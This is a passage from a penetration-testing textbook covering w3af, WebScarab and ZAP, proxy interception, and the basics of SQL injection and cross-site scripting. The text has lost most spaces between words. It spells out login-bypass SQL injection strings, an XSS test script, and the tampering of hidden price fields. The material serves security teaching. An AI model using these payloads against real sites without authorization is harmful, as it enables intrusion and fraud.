Page 142: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

willcausew3aftoscanyourtargetforeachofthedefinedtop10securitywebflaws(asidentifiedbyOWASP). Clicking on each of the profiles causes the active plug-ins change. The plug-ins are thespecific tests thatyouwantw3af to runagainstyour target.The“empty_profile” isblankandallowsyoutocustomizethescanbychoosingwhichspecificplug-insyouwanttouse.Onceyouhaveselectedyourdesiredprofile,youcanenteranIPaddressorURLintothe“Target”

inputbox.Withyourscanningprofileandtargetdesignated,youcanclickthe“Start”buttontobeginthe test.Dependingonwhich testyouchoseand thesizeofyour target, thescanmaytakeanywherefromafewsecondstoseveralhours.Whenthescancompletes,the“Log”,“Results”,and“Exploit”tabswillbecomeactiveandyoucan

reviewyourfindingsbyclickingthrougheachofthese.Figure6.4showstheresultofourscan.Notice,the checkboxes from“Information”and“Error”havebeen removed.This allowsus to focuson themostseriousissuesfirst.

FIGURE6.4 w3afscanningresults.

Beforemovingonfromw3af,itisimportanttoreviewthe“Exploit”tab.Ifthetoolwassuccessfulinfinding any vulnerabilities during the audit phase, youmay be able to compromise your target fromwithinw3af.Toattemptanexploitwithoneofthediscoveredvulnerabilities,youneedtoclickonthe“Exploit”tabandlocatetheExploitspane.Rightclickingonthelistedexploitswillpresentyouwithamenuandallowyoutochooseto“ExploitALLvulns”or“Exploitalluntilfirstsuccessful”.Toattemptanexploitonyourtarget,simplymakeyourselectionandmonitorthe“Shells”pane.Iftheexploitwassuccessfulingainingashellonthetarget,anewentrywillbedisplayedinthe“Shells”pane.Doubleclickingthisentrywillbringupa“Shell”windowandallowyoutoexecutecommandonyourtarget.Finally, it is importanttounderstandthatyoucanalsorunw3affromtheterminal.Asalways,it is

highlyrecommendedthatyoutaketimetoexploreandgettoknowthisoptionaswell.

Spidering:CrawlingYourTarget’sWebsiteAnothergreat tool tousewhen initially interactingwith aweb target isWebScarab.WebScarabwaswritten by Rogan Dawes and is available through the OWASP website. If you are running Kali, aversionofWebScarab is already installed.Thispowerful framework ismodular innature andallowsyou to load numerous plug-ins to customize it to your needs. Even in its default configuration,WebScarabprovidesanexcellentresourceforinteractingwithandinterrogatingwebtargets.After having run the vulnerability scanners, Nikto and w3af, you may want to run a spidering

programon the targetwebsite. It should be noted thatw3af also provides spidering capabilities, butremember,thegoalofthischapteristoexposeyoutoseveraldifferenttoolsandmethodologies.Spidersareextremelyusefulinreviewingandreading(orcrawling)yourtarget’swebsitelookingforalllinks

Page 143: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

andassociatedfiles.Eachofthelinks,webpages,andfilesdiscoveredonyourtargetisrecordedandcataloged.Thiscatalogeddatacanbeusefulforaccessingrestrictedpagesandlocatingunintentionallydiscloseddocumentsorinformation.YoucanlaunchWebScarabbyopeningaterminalandentering

webscarab

Youcanalsoaccess thespider function inWebScarabbystarting theprogram throughmainmenusystem. This can be accomplished by clicking Applications → Kali Linux → WebApplications→WebScarab.Thiswill loadtheWebScarabprogram.Beforeyoubeginspideringyourtarget,youwillwanttoensureyouareinthe“full-featuredinterface”mode.KaliLinuxwilldropyouintothismodebydefault;however,somepreviousversionswillstartwiththe“Liteinterface”.Youcanswitchbetweenthetwointerfacemodesbyclickingonthe“Tools”menuandputtingacheckboxinthe“Usefull-featuredinterface”or“UseLiteinterface”checkboxasshowninFigure6.5.

FIGURE6.5 Switchingwebscarabtoruninfull-featuredinterfacemode.

Afterswitchingtothefull-featuredinterface,youwillbepromptedtorestartWebScarab.Onceyourestart the tool, you will be given access to a number of new panels along the top of the windowincludingthe“Spider”tab.NowthatyouhaveWebScarabloaded,youneedtoconfigureyourbrowsertouseaproxy.Settingup

WebScarabasyourproxywillcauseallthewebtrafficgoingintoandcomingoutofyourbrowsertopassthroughtheWebScarabprogram.Inthisrespect,theproxyprogramactsasamiddlemanandhastheabilitytoview,stop,andevenmanipulatenetworktraffic.Settingupyourbrowsertouseaproxyisusuallydonethroughthepreferencesornetworkoptions.In

Iceweasel (default inKaliLinux), you can click onEdit→Preferences. In thePreferenceswindow,clickthe“Advanced”menufollowedbythe“Network”tab.Finally,clickonthe“Settings”buttonasshowninFigure6.6.

Page 144: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE6.6 Settingupiceweaseltousewebscarabasaproxy.

Clicking on the settings button will allow you to configure your browser to useWebScarab as aproxy. Select the radio button for “Manual proxy configuration:”. Next, enter: 127.0.0.1 in the“hypertext transferprotocol (HTTP)proxy:” inputbox.Finallyenter:8008 into the“Port” field. It isusuallyagoodideatochecktheboxjustbelowthe“HTTPproxy”boxandselect“Usethisproxyserverforallprotocols”.Onceyouhaveallthisinformationentered,youcanclick“Ok”toexittheConnectionSettingswindowand“Close”toexitthePreferenceswindow.Figure6.7showsanexampleoftheConnectionSettingswindow.

FIGURE6.7 Connectionsettingsforusingwebscarabasaproxy.

Page 145: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

At this point, anyweb traffic coming into or passing out of your browser will route through theWebScarabproxy.Therearetwowordsofwarning.First,youneedtoleaveWebScarabrunningwhileitis serving as a proxy. If you close the program, youwill not be able to browse the Internet. If thishappens,Iceweaselwillprovideyouwithanerrormessagethatitcannotfindaproxyandyouwillneedto restartWebScarabor changeyournetworkconfiguration in Iceweasel.The secondwarning is thatwhile surfing the Internet using a local proxy, all https traffic will show up as having an invalidcertificate!Thisisanexpectedbehaviorbecauseyourproxyissittinginthemiddleofyourconnection.As a side note, it is important that you always pay attention to invalid security certificates when

browsing.Atthispoint,certificatesareyourbestdefenseandoftenyouronlywarningagainstaman-in-the-middleattack.Now that you have set up a proxy and have configured your browser, you are ready to begin

spideringyourtarget.YoubeginbyenteringthetargetURLintothebrowser.AssumewewantedtoseeallofthefilesanddirectoriesontheTrustedSecwebsite.Simplybrowsingtothewww.trustedsec.comwebsiteusingyourIceweaselbrowserwillloadthewebsitethroughWebScarab.Oncethewebsitehasloaded in your browser, you can switch over theWebScarab program.You should see theURLyouentered(alongwithanyothersthatyouhavevisitedsincestartingyourproxy).Tospiderthesite,youright-clicktheURLandchoose“Spidertree”asshowninFigure6.8.

FIGURE6.8 Usingwebscarabtospiderthetargetwebsite.

Youcannowvieweachofthefilesandfoldersassociatedwithyourtargetwebsite.Individualfolderscan be further spidered by right clicking and choosing “Spider tree” again. You should spend timecarefullyexaminingeverynookandcrannywithinyourauthorizedscope.Spideringawebsiteisagreatwaytofindinadvertentlyorleakedconfidentialdatafromatargetwebsite.

InterceptingRequestswithWebscarabAspreviouslymentioned,WebScarabisaverypowerfultool.Oneofitsmanyrolesistofunctionasaproxyserver.Recall thataproxysitsbetween theclient (browser)and theserver.While theproxy isrunning,allthewebtrafficflowingintoandoutofyourbrowserispassedthroughtheprogram.Passingtrafficthroughalocalproxyprovidesuswithanamazingability;byrunningWebScarabinthismode,we are able to stop, intercept, and even change thedata eitherbefore it arrives orafter it leaves thebrowser.Thisisasubtlebutimportantpoint;theuseofaproxyallowsustomakechangestothedataintransit.The ability tomanipulateorviewHTTP request or response informationhas serious securityimplications.Consider the following: some poorly coded websites rely on the use of hidden fields to transmit

Page 146: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

informationtoandfromtheclient.Intheseinstances,theprogrammermakesuseofahiddenfieldonthe form, assuming that theuserwill notbe able to access it.Although this assumption is true for anormaluser,anyoneleveragingthepowerofaproxyserverwillhavetheabilitytoaccessandmodifythehiddenfield.The classic example of this scenario is the user whowas shopping at an online golf store. After

browsing the selection, he decided to buy a golf club for $299. Being a security analyst, the astuteshopperwasrunningaproxyandnoticedthatthewebsitewasusingahiddenfieldtopassthevalueofthedriver($299)totheserverwhenthe“addtocart”buttonwasclicked.Theshoppersetuphisproxyto intercept theHTTPPOSTrequest.Thismeanswhen the informationwassent to theserver, itwasstoppedat theproxy.The shoppernowhad theability to change thevalueof thehidden field.Aftermanually changing the value from $299 to $1, the requestwas sent onto the server. The driverwasaddedtohisshoppingcartandthenewtotalduewas$1.Althoughthisscenarioisnotascommonasitusedtobe,itcertainlydemonstratesthepowerofusing

aproxytointerceptandinspectHTTPrequestsandresponses.TouseWebScarab as an interceptor, you need to configure your browser to use a proxy and start

WebScarab as discussed in the “Spidering” section of this chapter. You will also need to configureWebScarabtousethe“lite”version.Youcanswitchbacktothe“lite”versionbystartingtheprogram,clickingonthe“Tools”menuoptionandcheckingthe“UseLiteinterface”option.OnceWebScarabhasfinishedloading,youwillneedtoclickonthe“Interceptstab”.Next,youshouldputacheckboxinboththe“Interceptrequests”and“Interceptresponses”asshowninFigure6.9.

FIGURE6.9 Settingupwebscarabtointerceptrequestsandresponses.

Atthispoint,youcanuseIceweaseltobrowsethroughyourtargetwebsite.

ALERT!Just a word of warning—you may want to leave the Intercept requests and Interceptresponses unchecked until you are ready to test, as nearly every page involves theseactions and intercepting everything before you are ready will make your browsingexperiencepainfullyslow.

Page 147: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

WithWebScarabsetupasdescribed, theproxywillstopnearlyeverytransactionandallowyoutoinspect or change the data. Luckily if you find yourself in this situation,WebScarab has included a“CancelALLIntercepts”button.Thiscanbehandytokeepmovingforward.Tochange thevaluesofagiven field,wait forWebScarab to intercept the request; then locate the

variableyouwishtochange.Atthispoint,youcansimplyenteranewvalueinthe“value”fieldandclickthe“Insert”buttontoupdatethefieldwiththenewvalue.Viewing HTTP response and requests can also be useful for discovering username and password

information.Justremember,thevalueinmanyofthesefieldswillbeBase64encoded.Althoughthesevaluesmaylookasthoughtheyareencrypted,youshouldunderstandthatBase64isaformofencodingnotencryption.Althoughtheseprocessesmaysoundsimilar,theyarevastlydifferent.DecodingBase64isatrivialtaskthatcanbeaccomplishedwithlittleeffortusingaprogramoranonlinetool.Itshouldbepointedoutthattherearemanygoodproxyserversavailabletoassistyouwiththetask

ofdatainterception.Donotbeafraidtoexploreotherproxyserversaswell.

CodeInjectionAttacksLikebufferoverflowsinsystemcode,injectionattackshavebeenaseriousissueinthewebworldformanyyears,andlikebufferoverflows,therearemanydifferentkindsofcodeinjectionattacks.Broadlydefined,thisclassofattackscouldeasilyfillachapter.However,becausewearefocusingonthebasics,wewillexaminethemostbasictypeofcodeinjection:theclassicSQLinjection.WewillexplorethebasiccommandsneededtorunanSQLinjectionandhowitcanbeusedtobypassbasicwebapplicationauthentication. Injection attacks can be used for a variety of purposes including bypassingauthentication,manipulatingdata,viewingsensitivedata,andevenexecutingcommandsontheremotehost.Mostmodernwebapplicationsrelyontheuseofinterpretedprogramminglanguagesandback-end

databases to store information and generate dynamically driven content to the user. There aremanypopular interpreted programming languages in use today including PHP, JavaScript, Active ServerPages,SQL,Python,andcountlessothers.An interpreted languagediffers fromacompiled languagebecause the interpreted language generates machine code just before it is executed. Compiledprogramminglanguagesrequiretheprogrammertocompilethesourcecodeandgenerateanexecutable(.exe)file.In thiscase,oncetheprogramiscompiled, thesourcecodecannotbechangedunless it isrecompiledandthenewexecutableisredistributed.Inthecaseofmodernwebapplications,likeane-commercesite,theinterpretedlanguageworksby

buildinga seriesof executable statements thatutilizeboth theoriginalprogrammer’sworkand inputfromtheuser.Consideranonlineshopperwhowantstopurchasemorerandomaccessmemory(RAM)forhiscomputer.Theusernavigatestohisfavoriteonlineretailerandenterstheterm“16GBRAM”inthesearchbox.After theuserclicks thesearchbutton, thewebappgathers theuser’s input (“16GBRAM”) and constructs a query to search the back-end database for any rows in the product tablecontaining“16GBRAM.”Anyproductsthatcontainthekeywords“16GBRAM”arecollectedfromthedatabaseandreturnedtotheuser’sbrowser.Understandingwhataninterpretedlanguageisandhowitworksisthekeytounderstandinginjection

attacks.Knowingthatuserinputwilloftenbeusedtobuildcodethatisexecutedonthetargetsystem,injectionattacksfocusonsubmitting,sending,andmanipulatinguser-driveninput.Thegoalofsendingmanipulatedinputorqueriestoatargetistogetthetargettoexecuteunintendedcommandsorreturnunintendedinformationbacktotheattacker.

Page 148: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

TheclassicexampleofaninjectionattackisSQLinjection.SQLisaprogramminglanguagethatisusedtointeractwithandmanipulatedatainadatabase.UsingSQL,ausercanread,write,modify,anddeletedatastoredinthedatabasetables.Recallfromourexampleabovethattheusersuppliedasearchstring“16GBRAM”tothewebapplication(ane-commercewebsite).Inthiscase,thewebapplicationgeneratedanSQLstatementbasedoffoftheuserinput.ItisimportantthatyouunderstandtherearemanydifferentflavorsofSQLanddifferentvendorsmay

usedifferentverbstoperformthesameactions.SpecificstatementsthatworkinOraclemaynotworkinMySQLorMSSQL.The informationcontainedbelowwillprovideabasicandgenericframeworkforinteractingwithmostapplicationsthatuseSQL,butyoushouldstrivetolearnthespecificelementsforyourtarget.Consideranotherexample.AssumethatournetworkadminBenOwnedissearchingforaChristmas

present for his boss.Wanting tomake up formany of his pastmistakes,Ben decides to browse hisfavorite online retailer to search for a new laptop. To search the site for laptops, Ben enters thekeywords“laptop” (minus thequotes) intoa searchbox.Thiscauses thewebapplication tobuildanSQLquerylookingforanyrowsintheproduct tablethat includetheword“laptop”.SQLqueriesareamongthemostcommonactionsperformedbywebapplicationsastheyareusedtosearchtablesandreturnmatchingresults.ThefollowingisanexampleofasimpleSQLquery:

SELECT∗FROMproductWHEREcategory=‘laptop’;

In thestatementabove, the“SELECT”verb isused to tellSQLthatyouwish tosearchandreturnresultsfromatable.The “∗” isusedasawildcardand instructsSQLtoreturneverycolumnfromthetablewhen amatch is found.The “FROM”keyword is used to tell SQLwhich table to search.The“FROM” verb is followed immediately by the actual name of the table (“product” in this example).Finally,the“WHERE”clauseisusedtosetupatestcondition.Thetestconditionisusedtorestrictorspecifywhichrowsaretobereturnedbacktotheuser.Inthiscase,theSELECTstatementwillreturnalltherowsfromtheproducttablethatcontaintheword“laptop”inthe“category”column.Itisimportanttorememberthatinreallife,mostSQLstatementsyouwillencounteraremuchmore

complexthanthisexample.Oftentimes,anSQLquerywillinteractwithseveralcolumnsfromseveraldifferenttablesinthesamequery.However,armedwiththisbasicSQLknowledge,letusexaminethisstatementalittlemoreclosely.Weshouldbeabletoclearlyseethatinourexample,theusercreatedthevaluetotherightofthe“=”sign,whereastheoriginalprogrammercreatedeverythingtotheleftofthe“=”sign.WecancombinethisknowledgewithalittlebitofSQLsyntaxtoproducesomeunexpectedresults.TheprogrammerbuiltanSQLstatementthatwasalreadyfullyconstructedexceptforthestringvalue to be used in the WHERE clause. The application accepts whatever the user types into the“search”textboxandappendsthatstringvaluetotheendofthealreadycreatedSQLstatement.Last,afinalsinglequoteisappendedontotheSQLstatementtobalancethequotes.Itlookslikethiswhenitisalldone:

SELECT∗FROMproductWHEREcategory=‘laptop’

In this case, SELECT ∗ FROM product WHERE category = ‘is created ahead of time by theprogrammer,while theword laptop is user-supplied and the final’ is appended by the application tobalancequotes.AlsonoticethatwhentheactualSQLstatementwasbuilt,itincludedsinglequotesaroundtheword

“laptop”.SQLaddsthesebecause“category”isastringdatatypeinthedatabase.Theymustalwaysbebalanced,thatis,theremustbeanevennumberofquotesinthestatement,soanSQLsyntaxerrordoesnotoccur.FailuretohavebothanopeningandaclosingquotewillcausetheSQLstatementtoerrorandfail.

Page 149: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Suppose that rather than simply entering the keyword, laptop, Ben entered the following into thesearchbox:

‘laptop’or1=1--

Inthiscase,thefollowingSQLstatementwouldbebuiltandexecuted:SELECT∗FROMproductWHEREcategory=‘laptop’or1=1--’

By adding the extra quote, Ben would close off the string containing the user-supplied word of‘laptop’andaddsomeadditionalcodetobeexecutedbytheSQLserver,namely

or1=1--

The“or”statementaboveisanSQLconditionthatisusedtoreturnrecordswheneitherstatementistrue.The“--” isaprogrammaticcomment. InmostSQLversions,everything that follows the“--” issimply ignoredby the interpreter.The finalsinglequote is stillappendedby theapplication,but it isignored.Thisisaveryhandytrickforbypassingadditionalcodethatcouldinterferewithyourinjection.Inthiscase,thenewSQLstatementissaying“returnalloftherecordsfromtheproducttablewherethecategory is ‘laptop’or 1= 1”. It should be obvious that 1= 1 is always true.Because this is a truestatement,SQLwillactuallyreturnalltherecordsintheproducttable!The key to understanding how to use SQL injections is to understand the subtleties in how the

statementsareconstructed.On the whole, the example above may not seem too exciting; instead of returning all the rows

containingthekeywordlaptop,wewereabletoreturnthewholetable.However,ifweapplythistypeofattacktoaslightlydifferentexample,youmayfindtheresultsabitmoresensational.Many web applications use SQL to perform authentication. You gain access to restricted or

confidentiallocationsandmaterialbyenteringausernameandpassword.Asinthepreviousexample,oftentimesthisinformationisconstructedfromacombinationofuser-suppliedinput,theusernameandpassword,andprogrammer-constructedstatements.Considerthefollowingexample.ThenetworkadminBenOwnedhascreatedanewwebsitethat is

usedtodistributeconfidentialdocumentstothecompany’skeystrategicpartners.Partnersaregivenaunique username and password to log into the website and downloadmaterial. After setting up hissecurewebsite,Benasksyoutoperformapenetrationtestagainstthesitetoseeifyoucanbypasshisauthentication.You should start this task by using the same techniquewe examined to return all the data in the

“products”table.Rememberthe“--”isacommonwayofcommentingoutanycodefollowingthe“--”.Asaresult,insomeinstances,itispossibletosimplyenterausernamefollowedbythe“--”sequence.Ifinterpretedcorrectly, thiscancausetheSQLstatementtosimplybypassorignorethesectionofcodethatchecksforapasswordandgivesyouaccesstothespecifieduser.However,thistechniquewillonlyworkifyoualreadyknowtheusername.If you do not know the username, you should begin by entering the following into the username

textbox:‘or’1=1--

Leavingtheusernameparameterblankandusinganexpressionthatwillalwaysevaluatetotrueisakeywaytoattackasystemwhenweareunsureoftheusernamesrequiredtologintoadatabase.Notenteringausernamewill causemostdatabases to simplygrab the firstuser in thedatabase. Inmanyinstances,thefirstuseraccountinadatabaseisanadministrativeaccount.Youcanenterwhateveryouwant for a password (for example, “syngress”), as the databasewill not even check it because it iscommentedout.Youdoneedtosupplyapasswordtobypassclient-sideauthentication(oryoucanuseyourinterceptingproxytodeletethisparameteraltogether).

SELECT∗FROMusersWHEREuname=“or1=1--andpwd=‘syngress’”

Page 150: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Atthispoint,youshouldeitherhaveausernameorbepreparedtoaccessthedatabasewiththefirstuserlistedinthedatabase.Ifyouhaveausername,weneedtoattackthepasswordfield;hereagainwecanenterthestatement:

‘or’1=1--

Becauseweareusingan“or”statement,regardlessofwhatisenteredbeforethefirstsinglequote,thestatementwillalwaysevaluatetotrue.Uponexaminingthisstatement,theinterpreterwillseethatthepasswordistrueandgrantaccesstothespecifieduser.Iftheusernameparameterisleftblank,buttherestofthestatementisexecuted,youwillbegivenaccesstothefirstuserlistedinthedatabase.In this instance, assumingwehave a username, thenewSQL statementwould look similar to the

following:SELECT∗FROMusersWHEREuname=‘admin’andpwd=‘’or1=1--

Inmanyinstances, thesimple injectionabovewillgrantyoufullaccess to thedatabaseas thefirstuserlistedinthe“users”table.Inall fairness, it shouldbepointedout that it isbecomingharder to findSQL injectionerrorsand

bypassauthenticationusingthetechniqueslistedabove.Injectionattacksarenowmuchmoredifficultto locate.However, this classic example still rears itsheadonoccasion, especiallywith custom-builtapps, and it also serves as an excellent starting point for learning about and discovering the moreadvancedinjectionattacks.

Cross-SiteScripting:BrowsersthatTrustSitesXSSistheprocessofinjectingscriptsintoawebapplication.Theinjectedscriptcanbestoredontheoriginalwebpageandrunorprocessedbyeachbrowserthatvisitsthewebpage.Thisprocesshappensasiftheinjectedscriptwasactuallypartoftheoriginalcode.XSS is different frommanyother types of attacks asXSS focuses on attacking the client, not the

server.Althoughthemaliciousscriptitselfisstoredonthewebapplication(server),theactualgoalistogetaclient(browser)toexecutethescriptandperformanaction.Asasecuritymeasure,webapplicationsonlyhaveaccesstothedatathattheywriteandstoreona

client.Thismeans any information storedonyourmachine fromonewebsite cannot be accessedbyanotherwebsite.XSScanbeusedtobypassthisrestriction.Whenanattackerisabletoembedascriptintoatrustedwebsite,thevictim’sbrowserwillassumeallthecontentincludingthemaliciousscriptisgenuineandthereforeshouldbetrusted.Becausethescriptisactingonbehalfofthetrustedwebsite,themalicious script will have the ability to access potentially sensitive information stored on the clientincludingsessiontokensandcookies.ItisimportanttopointoutthattheendresultordamagecausedbyasuccessfulXSSattackcanvary

widely. In some instances, the effect is amere annoyance like a persistent pop-upwindow,whereasothermoreseriousconsequencescanresultinthecompletecompromiseofthetarget.Althoughmanypeople initially reject the seriousnessofXSS,a skilledattackercanuse theattack tohijacksessions,gainaccesstorestrictedcontentstoredbyawebsite,executecommandsonthetarget,andevenrecordkeystrokes!YoushouldunderstandthattherearenumerousXSSattackvectors.Asidefromsimplyenteringcode

snippetsintoaninputbox,malicioushyperlinksorscriptscanalsobeembeddeddirectlyintowebsites,e-mails, and even instant messages. Many e-mail clients today automatically render HTML e-mail.Oftentimes,themaliciousportionofamaliciousURLwillbeobfuscatedinanattempttoappearmorelegitimate.

Page 151: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

In its simplest form, conducting a XSS attack on a web application that does not perform inputsanitizationiseasy.Whenweareonly interestedinprovidingproof that thesystemisvulnerable,wecanuse somebasic JavaScript to test for the presenceofXSS.Website input boxes are an excellentplace to start. Rather than entering expected information into a textbox, a penetration tester shouldattempt to enter the script tag followed by a JavaScript “alert” directly into the field. The classicexampleofthistestislistedbelow:

<script>alert(“XSSTest”)</script>

Iftheabovecodeisenteredandtheserverisvulnerable,aJavaScript“alert”pop-upwindowwillbegenerated.Figure6.10showsanexampleofatypicalwebpagewheretheusercanloginbyenteringausernameandpasswordintothetextboxesprovided.

FIGURE6.10 Exampleofinputboxesonatypicalwebpage.

However,aspreviouslydescribed, rather thanenteringanormalusernameandpassword,enter thetestscript.Figure6.11showsanexampleofthetestXSSbeforesubmitting.

FIGURE6.11 XSStestcode.

After entering our test script, we are ready to click the “Submit” button. Remember if the test issuccessfulandthewebapplicationisvulnerabletoXSS,aJavaScript“alert”windowwiththemessage“XSSTest” should appear on the clientmachine.Figure6.12 shows the result of our test, providingproofthattheapplicationisvulnerabletoXSS.

FIGURE6.12 XSSsuccess!.

Page 152: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

JustasthereareseveralattackvectorsforlaunchingXSS,theattackitselfcomesinseveralvarieties.Becausewearecoveringthebasics,wewilllookattwoexamples:reflectedXSSandstoredXSS.Reflected cross-site scripts occur when a malicious script is sent from the client machine to a

vulnerable server.Thevulnerable server thenbouncesor reflects the scriptback to theuser. In thesecases, the payload (or script) is executed immediately. This process happens in a singleresponse/request.ThistypeofXSSattackisalsoknownasa“First-OrderXSS”.ReflectedXSSattacksarenonpersistent.Thus,themaliciousURLmustbefedtotheuserviae-mail,instantmessage,andsoon,sotheattackexecutesintheirbrowser.Thishasaphishingfeeltoitandrightfullyso.Insomeinstances,themaliciousscriptcanactuallybesaveddirectlyonthevulnerableserver.When

thishappens,theattackiscalledastoredXSS.Becausethescriptissaved,itgetsexecutedbyeveryuserwhoaccessesthewebapplication.InthecaseofstoredXSSattacks,thepayloaditself(themaliciousscriptormalformedURL)isleftbehindandwillbeexecutedatalatertime.Theseattacksaretypicallysavedinadatabaseoranapplet.StoredXSSdoesnotneedthephishingaspectofreflectedXSS.Thishelpsthelegitimacyoftheattack.Asmentionedearlier,XSSisaverypracticalattack.Eventhoughweonlyexaminedthesimplestof

XSS attacks, do not let this deter you from learning about the true power ofXSS. In order to trulymaster thiscontent,youwillneedto learnhowtoharness thepowerofXSSattacks tostealsessionsfrom your target and deliver the other payloads discussed earlier in this section. Once you havemasteredbothreflectedandstoredXSSattacks,youshouldbeginexaminingandstudyingDocumentObjectModel-basedXSSattacks.

ZEDAttackProxy:BringingItAllTogetherUnderOneRoofWehave discussed several frameworks to assistwith yourweb hacking, however before closing thechapter, let us examine onemore. In this section,we are going to cover theZAP from theOWASPbecauseitisafull-featuredwebhackingtoolkitthatprovidesthethreemainpiecesoffunctionalitythatwediscussedatthebeginningofthischapter:interceptingproxy,spidering,andvulnerabilityscanning.ZAPis100%freeandpreinstalledinKali.YoucanopenZAPintheKalimenubyclickingontheallApplications → Kali Linux → Web Applications zaproxy. You can also start ZAP by typing thefollowingonthecommandline:

zap

Before using ZAP, youwill need to configure your browser to use a proxy. You can review thisprocess by visiting the “Spidering” section of this chapter. Please note youwill need to enter a portnumberof8080ratherthan8008asshowninFigure6.13.

Page 153: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE6.13 ConfiguringtheiceweaselproxysettingstousetheZAP.

After configuring the proxy settings in your browser and starting ZAP, as you browseweb pagesusingIceweasel,theZAP“Sites”tabwillkeeparunninghistoryoftheURLyouvisit.YoucanexpandeachURLtoshowadditionaldirectoriesandpages thatyouhaveeithervisiteddirectlyorhavebeenscraped by ZAP. Figure 6.14 shows we have visited www.dsu.edu, www.espn.com, andwww.google.comandacoupleofothers.

FIGURE6.14 The“sites”tabinZAPshowingvisitedwebsitesthathavepassedthroughtheproxy.

InterceptinginZAPTheabilitytointerceptandchangevariablesbeforetheyreachthewebsiteisoneofthefirstplacesyoushouldstartwithwebhacking.Becauseacceptingvariablesfromuser’srequestsisfundamentaltohowthewebworks today, it is important to checkand see if thewebsite is securelyhandling these inputvariables.Asimplewaytothinkaboutthisistobuildrequeststhataskthesequestions:WhatwouldthewebsitedoifItriedtoorder−5(negative5)televisions?WhatwouldthewebsitedoifItriedtogeta$2000televisionfor$49?WhatwouldthewebsitedoifItriedtosigninwithoutevenprovidingausernameorpassword

Page 154: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

variable?(Notsupplyingblankusernameandpasswordvariables,butactuallynotevensendingthesetwovariablesthatthewebsiteissurelyexpecting.)

WhatwouldthewebsitedoifIusedacookie(sessionidentifier)fromadifferentuserthatisalreadycurrentlyloggedin?

Andanyothermischievousbehavioryoucanthinkof!Thegreat thing is that you are in complete control ofwhat is sent to thewebsitewhenyouuse a

proxytointercepttherequestsastheyleaveyourbrowser.YoucaninterceptinZAPbyusingthe“breakpoints” functionality. You can set break points on requests leaving your browser, so the applicationreceivesavariablevalue thatwaschanged.Youcanalso setbreakpointson responsescomingbackfromthewebsite,soyoucanchangetheresponsebeforeitisrenderedinyourbrowser.Forthebasics,wewillusuallyonlyneedtosetbreakpointsontheoutboundrequests.SettingbreakpointsinZAPisdonebytoggling(onoroff)thegreenarrowsdirectlybelowthemenubarasshowninFigure6.15.

FIGURE6.15 SettingbreakpointsonalloutboundrequestsinZAP.

The right-facing green arrow is to set a break point on all outbound requests, so they will beinterceptedandavailabletobeedited;aspreviouslymentioned,thisisthemostcommonuseofbreakpoints.Itislesscommontointerceptthereturningresponsefromthewebsite.However,whenyouwantto intercept returningresponses,youcan toggle the left-facinggreenarrow.Onceyouhave thebreakpointsset,thearrowwillturnredandtherequestthatisleavingyourbrowserwillbedisplayedintheleftpaneofZAPasshowninFigure6.16.

FIGURE6.16 Aninterceptedrequestheadedtogoogle.comwherethe“search”variableisavailabletobeedited.

Obviously justchanging the search termof thisGoogle search fornewgolfclubs isnotmalicious(youcansimplytypeinanewvalue!),butthisdoesshowhoweasyanyvariablecanbemanipulated.Imagine if thiswasabankingwebsiteandyouwere trying tochange theaccountnumber to transfermoneytoandfrom!

SpideringinZAPOneof themost beneficial aspects of finding all available pagesby spidering is thatwewill have alarger attack surface to explore. The larger our attack surface is, themore likely an automatedweb

Page 155: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

vulnerabilityscannercanlocateanexploitableissue.SpideringinZAPisveryeasy.ItbeginsbyfindingtheURL,oraspecificdirectorywithinthatURL,thatyouwouldliketospider.Thisisagoodtimetoremindyouthatyoushouldnotspiderawebsite thatyoudonotownordonothaveauthorizationtoperformspideringon.OnceyouhaveidentifiedyourtargetedURLordirectoryinthe“Sites”tab,youcansimplyright-clickonittobringupthe“Attack”ZAPmenuasshowninFigure6.17.

FIGURE6.17 OpeningtheattackmenuinZAP.

Noticethatbothscanningandspideringareavailableinthis“Attack”menu.Itisreallythateasy;youjustfindtheURLordirectory(orevenpage)thatyouwouldliketoattackandinstructZAPtodoitsthing!Onceyouselect“Spidersite”fromthe“Attack”menu,thespidertabwilldisplaythediscoveredpagescompletewithastatusbartoshowtheprogressofthespidertool.

